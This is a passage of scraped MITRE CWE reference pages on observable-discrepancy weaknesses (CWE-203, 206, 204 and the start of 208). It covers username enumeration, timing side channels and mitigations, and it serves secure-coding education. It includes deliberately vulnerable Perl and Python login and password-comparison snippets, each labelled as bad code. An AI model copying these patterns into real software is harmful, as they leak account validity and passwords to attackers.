Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERExternal behavioral inconsistency infoleak
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28External Behavioral Inconsistency Information Leak
2020-02-24Information Exposure Through an External Behavioral Inconsistency

CWE-203: Observable Discrepancy

Weakness ID: 203
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.
+ Extended Description
Discrepancies can take many forms, and variations may be detectable in timing, control flow, communications such as replies or requests, or general behavior. These discrepancies can reveal information about the product's operation or internal state to an unauthorized actor. In some cases, discrepancies can be used by attackers to form a side channel.
+ Alternate Terms
Side Channel Attack:
Observable Discrepancies are at the root of side channel attacks.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.204Observable Response Discrepancy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.205Observable Behavioral Discrepancy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.208Observable Timing Discrepancy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1300Improper Protection of Physical Side Channels
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1303Non-Transparent Sharing of Microarchitectural Resources
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Hardware Design" (CWE-1194)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1205Security Primitives and Cryptography Issues
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1300Improper Protection of Physical Side Channels
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Access Control

Technical Impact: Read Application Data; Bypass Protection Mechanism

An attacker can gain access to sensitive information about the system, including authentication information that may allow an attacker to gain access to the system.
Confidentiality

Technical Impact: Read Application Data

When cryptographic primitives are vulnerable to side-channel-attacks, this could be used to reveal unencrypted plaintext in the worst case.
+ Demonstrative Examples

Example 1

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

(bad code)
Example Language: Perl 
my $username=param('username');
my $password=param('password');

if (IsValidUsername($username) == 1)
{
if (IsValidPassword($username, $password) == 1)
{
print "Login Successful";
}
else
{
print "Login Failed - incorrect password";
}
}
else
{
print "Login Failed - unknown username";
}

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

(result)
 
"Login Failed - incorrect username or password"

Example 2

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

(bad code)
Example Language: Python 
def validate_password(actual_pw, typed_pw):
if len(actual_pw) <> len(typed_pw):
return 0

for i in len(actual_pw):
if actual_pw[i] <> typed_pw[i]:
return 0

return 1

Note that in this example, the actual password must be handled in constant time as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

Example 3

Non-uniform processing time causes timing channel.

(bad code)
 
Suppose an algorithm for implementing an encryption routine works fine per se, but the time taken to output the result of the encryption routine depends on a relationship between the input plaintext and the key (e.g., suppose, if the plaintext is similar to the key, it would run very fast).

In the example above, an attacker may vary the inputs, then observe differences between processing times (since different plaintexts take different time). This could be used to infer information about the key.

(good code)
 
Artificial delays may be added to ensured all calculations take equal time to execute.

Example 4

Suppose memory access patterns for an encryption routine are dependent on the secret key.

An attacker can recover the key by knowing if specific memory locations have been accessed or not. The value stored at those memory locations is irrelevant. The encryption routine's memory accesses will affect the state of the processor cache. If cache resources are shared across contexts, after the encryption routine completes, an attacker in different execution context can discover which memory locations the routine accessed by measuring the time it takes for their own memory accesses to complete.

+ Observed Examples
ReferenceDescription
Observable discrepancy in the RAPL interface for some Intel processors allows information disclosure.
Crypto hardware wallet's power consumption relates to total number of pixels illuminated, creating a side channel in the USB connection that allows attackers to determine secrets displayed such as PIN numbers and passwords
Java-oriented framework compares HMAC signatures using String.equals() instead of a constant-time algorithm, causing timing discrepancies
This, and others, use ".." attacks and monitor error responses, so there is overlap with directory traversal.
Enumeration of valid usernames based on inconsistent responses
Account number enumeration via inconsistent responses.
User enumeration via discrepancies in error messages.
User enumeration via discrepancies in error messages.
Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack.
Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods.
Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL.
Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.
Product modifies TCP/IP stack and ICMP error messages in unusual ways that show the product is in use.
Behavioral infoleak by responding to SYN-FIN packets.
Product may generate different responses than specified by the administrator, possibly leading to an information leak.
Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.
FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames.
SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack."
Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.
Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing.
Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.
FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response.
Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.717OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.728OWASP Top Ten 2004 Category A7 - Improper Error Handling
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.967SFP Secondary Cluster: State Disclosure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDiscrepancy Information Leaks
OWASP Top Ten 2007A6CWE More SpecificInformation Leakage and Improper Error Handling
OWASP Top Ten 2004A7CWE More SpecificImproper Error Handling
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2020-06-03Nicole FernTortuga Logic
Provided Demonstrative Example for cache timing attack
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Observed_Examples, Relationships
2020-08-20CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Demonstrative_Examples, Description, Name, Potential_Mitigations, Related_Attack_Patterns, Relationships, Research_Gaps
2020-12-10CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Name, Potential_Mitigations, Research_Gaps
2021-07-20CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Discrepancy Information Leaks
2020-02-24Information Exposure Through Discrepancy
2020-08-20Observable Discrepancy
2020-12-10Observable Differences in Behavior to Error Inputs

CWE-206: Observable Internal Behavioral Discrepancy

Weakness ID: 206
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs multiple behaviors that are combined to produce a single result, but the individual behaviors are observable separately in a way that allows attackers to reveal internal state or internal decision points.
+ Extended Description
Ideally, a product should provide as little information as possible to an attacker. Any hints that the attacker may be making progress can then be used to simplify or optimize the attack. For example, in a login procedure that requires a username and password, ultimately there is only one decision: success or failure. However, internally, two separate actions are performed: determining if the username exists, and checking if the password is correct. If the product behaves differently based on whether the username exists or not, then the attacker only needs to concentrate on the password.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.205Observable Behavioral Discrepancy
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Access Control

Technical Impact: Read Application Data; Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
File existence via infoleak monitoring whether "onerror" handler fires or not.
Valid groupname enumeration via behavioral infoleak (sends response if valid, doesn't respond if not).
Behavioral infoleak in GUI allows attackers to distinguish between alphanumeric and non-alphanumeric characters in a password, thus reducing the search space.
Product immediately sends an error message when user does not exist instead of waiting until the password is provided, allowing username enumeration.
+ Potential Mitigations
Setup generic response pages for error conditions. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.967SFP Secondary Cluster: State Disclosure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInternal behavioral inconsistency infoleak
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Description, Name, Potential_Mitigations, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Internal Behavioral Inconsistency Information Leak
2020-02-24Information Exposure of Internal State Through Behavioral Inconsistency

CWE-204: Observable Response Discrepancy

Weakness ID: 204
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.
+ Extended Description
This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.203Observable Discrepancy
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Access Control

Technical Impact: Read Application Data; Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

(bad code)
Example Language: Perl 
my $username=param('username');
my $password=param('password');

if (IsValidUsername($username) == 1)
{
if (IsValidPassword($username, $password) == 1)
{
print "Login Successful";
}
else
{
print "Login Failed - incorrect password";
}
}
else
{
print "Login Failed - unknown username";
}

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

(result)
 
"Login Failed - incorrect username or password"
+ Observed Examples
ReferenceDescription
This, and others, use ".." attacks and monitor error responses, so there is overlap with directory traversal.
Enumeration of valid usernames based on inconsistent responses
Account number enumeration via inconsistent responses.
User enumeration via discrepancies in error messages.
User enumeration via discrepancies in error messages.
Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack.
Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods.
Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL.
Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.
Product may generate different responses than specified by the administrator, possibly leading to an information leak.
Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.
FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.967SFP Secondary Cluster: State Disclosure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

can overlap errors related to escalated privileges
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERResponse discrepancy infoleak
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Potential_Mitigations
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples
2010-09-27CWE Content TeamMITRE
updated Description, Name, Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-09-27Response Discrepancy Information Leak
2020-02-24Response Discrepancy Information Exposure

CWE-208: Observable Timing Discrepancy

Weakness ID: 208
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
+ Extended Description
In security-relevant contexts, even small variations in timing can be exploited by attackers to indirectly infer certain details about the product's internal operations. For example, in some cryptographic algorithms, attackers can use timing differences to infer certain properties about a private key, making the key easier to guess. Timing discrepancies effectively form a timing side channel.
+ Relationships
